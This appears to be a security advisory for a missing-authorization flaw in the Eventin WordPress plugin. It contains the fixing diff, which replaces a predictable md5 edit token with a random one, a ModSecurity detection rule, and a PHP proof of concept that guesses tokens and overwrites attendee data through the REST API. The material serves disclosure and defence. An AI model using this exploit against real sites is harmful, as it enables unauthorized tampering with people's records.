-        $item = get_term( $category_id, $this->taxonomy );
-
+    public function prepare_item_for_response($category_id, $request)
+    {
+        $item = get_term($category_id, $this->taxonomy);
+
         // Fetch user IDs associated with this category
         $user_ids = $this->get_matching_user_ids_by_category($category_id);
-
+
         $category_data = [
             'id'          => $item->term_id,
-            'count'       => count( $user_ids ),
+            'count'       => count($user_ids),
             'description' => $item->description,
-            'link'        => get_term_link( $item ),
+            'link'        => get_term_link($item),
             'name'        => $item->name,
             'slug'        => $item->slug,
-            'user_ids'    => $user_ids,
+            'user_ids'    => $user_ids,
         ];
-
+
         return $category_data;
     }

@@ -407,14 +451,14 @@
             $prepared_data['name'] = $input_data['name'];
         }

-        if ( ! empty( $input_data['description'] ) ) {
-            $prepared_data['description'] = $input_data['description'];
-        }
-
         if ( ! empty( $input_data['slug'] ) ) {
             $prepared_data['slug'] = $input_data['slug'];
         }

+        if ( isset( $input_data['description'] ) ) {
+            $prepared_data['description'] = sanitize_textarea_field( $input_data['description'] );
+        }
+
         if ( ! empty( $input_data['parent'] ) ) {
             $prepared_data['parent'] = $input_data['parent'];
         }
--- a/wp-event-solution/core/woocommerce/hooks.php
+++ b/wp-event-solution/core/woocommerce/hooks.php
@@ -1346,7 +1346,7 @@

                     // Prepare data.
                     if ( $post_id ) {
-                        $info_edit_token    = md5( 'etn-edit-token' . $post_id . $access_token . time() );
+                        $info_edit_token    = EtnUtilsHelper::generate_secure_token();
                         $ticket_index       = $post_arr['ticket_index'][$i];

                         $data            = [
--- a/wp-event-solution/eventin.php
+++ b/wp-event-solution/eventin.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Eventin
  * Plugin URI:        https://themewinter.com/eventin/
  * Description:       Simple and Easy to use Event Management Solution
- * Version:           4.1.9
+ * Version:           4.1.10
  * Author:            Themewinter
  * Author URI:        https://themewinter.com/
  * License:           GPL-2.0+
@@ -44,7 +44,7 @@
 	 * @var string The plugin version.
 	 */
 	public static function version() {
-		return "4.1.9";
+		return "4.1.10";
 	}
     /**
      * Initializes the Wpeventin() class
--- a/wp-event-solution/templates/event/parts/event-details-parts-pro.php
+++ b/wp-event-solution/templates/event/parts/event-details-parts-pro.php
@@ -106,7 +106,7 @@
 		$data                   = Helper::single_template_options( $single_event_id );
 		$etn_event_schedule     = isset( $data['etn_event_schedule']) ? $data['etn_event_schedule'] : [];

-		if (!isset($event_options["etn_hide_schedule_from_details"]) && !empty($etn_event_schedule)) {
+		if (empty($event_options["etn_hide_schedule_from_details"]) && !empty($etn_event_schedule)) {
 				if (is_array($etn_event_schedule)) {
 						$args = array(
 								'post__in' => $etn_event_schedule,
--- a/wp-event-solution/templates/event/parts/event-schedule-one.php
+++ b/wp-event-solution/templates/event/parts/event-schedule-one.php
@@ -5,7 +5,7 @@
     $data               = Helper::single_template_options($event_id);
     $etn_event_schedule = isset($data['etn_event_schedule']) ? $data['etn_event_schedule'] : [];

-    if (! isset($event_options["etn_hide_schedule_from_details"]) && ! empty($etn_event_schedule)) {
+    if (! empty($event_options["etn_hide_schedule_from_details"]) && ! empty($etn_event_schedule)) {
         if (is_array($etn_event_schedule)) {
             $args = [
                 'post__in'         => $etn_event_schedule,
--- a/wp-event-solution/utils/functions.php
+++ b/wp-event-solution/utils/functions.php
@@ -1258,6 +1258,43 @@
         $event         = new Event_Model( $event_id );
         $sold_tickets    = (array)Helper::etn_get_sold_tickets_by_event( $event_id );

+        $enable_global_stock = get_post_meta( $event_id, 'etn_enable_global_stock', true );
+        $global_stock       = intval( get_post_meta( $event_id, 'etn_global_stock', true ) );
+
+        if ( $enable_global_stock && $global_stock > 0 ) {
+            $total_requested = 0;
+            foreach ( $order_tickets as $ticket ) {
+                $total_requested += intval( $ticket['ticket_quantity'] );
+            }
+
+            $total_sold = array_sum( $sold_tickets );
+
+            $ticket_variations = $event->etn_ticket_variations;
+            $total_pending = 0;
+            if ( is_array( $ticket_variations ) ) {
+                foreach ( $ticket_variations as $ticket_var ) {
+                    $total_pending += intval( $ticket_var['pending'] ?? 0 );
+                }
+            }
+
+            if ( $is_for_update ) {
+                $remaining = $global_stock - $total_sold - $total_pending + $total_requested;
+            } else {
+                $remaining = $global_stock - $total_sold - $total_pending;
+            }
+
+            if ( $total_requested > $remaining ) {
+                $only_left = max( 0, $remaining );
+                return new WP_Error(
+                    'global_stock_limit',
+                    sprintf( __( 'Only %d tickets left for this event.', 'eventin' ), $only_left ),
+                    ['status' => 422]
+                );
+            }
+
+            return true;
+        }
+
         foreach( $order_tickets as $ticket ) {
             $event_ticket = $event->get_ticket( $ticket['ticket_slug'] );

@@ -1268,7 +1305,7 @@
 			// check if `etn_avaiilable_tickets` exists. if not means unlimited ticket
 			if ( !isset($available) || !is_numeric($available) ) {
 				return true;
-			}
+            }
             if($is_for_update){
                 $ticket_left = intval($available) - intval($sold) - intval($pending) + intval($ticket['ticket_quantity']);
             }else{
--- a/wp-event-solution/utils/helper.php
+++ b/wp-event-solution/utils/helper.php
@@ -1538,6 +1538,15 @@
          *
          * @return void
          */
+        /**
+         * Generate a cryptographically secure token for attendee self-edit links.
+         *
+         * @return string 64-char hex token (256 bits of entropy).
+         */
+        public static function generate_secure_token() {
+            return bin2hex( random_bytes( 32 ) );
+        }
+
         public static function verify_attendee_edit_token($attendee_id, $check_info_edit_token)
         {
             $post_status = get_post_status($attendee_id);
@@ -1548,11 +1557,11 @@

             $stored_edit_token = get_post_meta($attendee_id, "etn_info_edit_token", true);

-            if ($stored_edit_token == $check_info_edit_token) {
-                return true;
+            if ( ! $stored_edit_token ) {
+                return false;
             }

-            return false;
+            return hash_equals( $stored_edit_token, $check_info_edit_token );
         }

         /**
--- a/wp-event-solution/vendor/composer/installed.php
+++ b/wp-event-solution/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'arraytics/eventin',
-        'pretty_version' => 'dev-develop',
-        'version' => 'dev-develop',
-        'reference' => 'a3f9862f26f69e3a2c1f972448823be0edc4d58c',
+        'pretty_version' => 'dev-master',
+        'version' => 'dev-master',
+        'reference' => '9ac2db86c05ce954c7887950f70b8a983fcb641b',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'arraytics/eventin' => array(
-            'pretty_version' => 'dev-develop',
-            'version' => 'dev-develop',
-            'reference' => 'a3f9862f26f69e3a2c1f972448823be0edc4d58c',
+            'pretty_version' => 'dev-master',
+            'version' => 'dev-master',
+            'reference' => '9ac2db86c05ce954c7887950f70b8a983fcb641b',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66451
SecRule REQUEST_URI "@rx ^/wp-json/eventin/v[0-9]+/attendee/edit-info$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66451 via Eventin REST API edit-info',severity:'CRITICAL',tag:'CVE-2026-66451'"
  SecRule REQUEST_METHOD "@rx ^(GET|PUT|POST)$" "chain"
    SecRule ARGS_NAMES "@rx ^id$" "chain"
      SecRule ARGS_NAMES "!@rx ^etn_info_edit_token$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66451 - Eventin <= 4.1.9 - Missing Authorization

$target_url = 'http://example.com'; // Change to target WordPress site
$attendee_id = 123; // Replace with a valid attendee ID

// Step 1: Try to access attendee edit info without a token (old behavior may allow if token check is bypassed)
$url = $target_url . '/wp-json/eventin/v1/attendee/edit-info?id=' . $attendee_id;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "GET without token - HTTP $http_coden";
echo $response . "n";

// Step 2: If that fails, attempt to generate a token based on current time
$token = md5(time() . 'etn-attendee-info');
$url = $target_url . '/wp-json/eventin/v1/attendee/edit-info?id=' . $attendee_id . '&etn_info_edit_token=' . $token;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "GET with predicted token - HTTP $http_coden";
echo $response . "n";

// Step 3: Attempt to update attendee info with a guessed token
$data = [
    'etn_info_edit_token' => $token,
    'etn_name' => 'Hacked Name'
];
$url = $target_url . '/wp-json/eventin/v1/attendee/edit-info?id=' . $attendee_id;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "PUT with predicted token - HTTP $http_coden";
echo $response . "n";

// Note: This PoC assumes the attacker can predict the token as per the vulnerable token generation.
// In some cases, the token may be empty (e.g., for imported attendees), allowing direct access.
// The ATTENDEE_ID and TOKEN need to be adjusted based on target.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.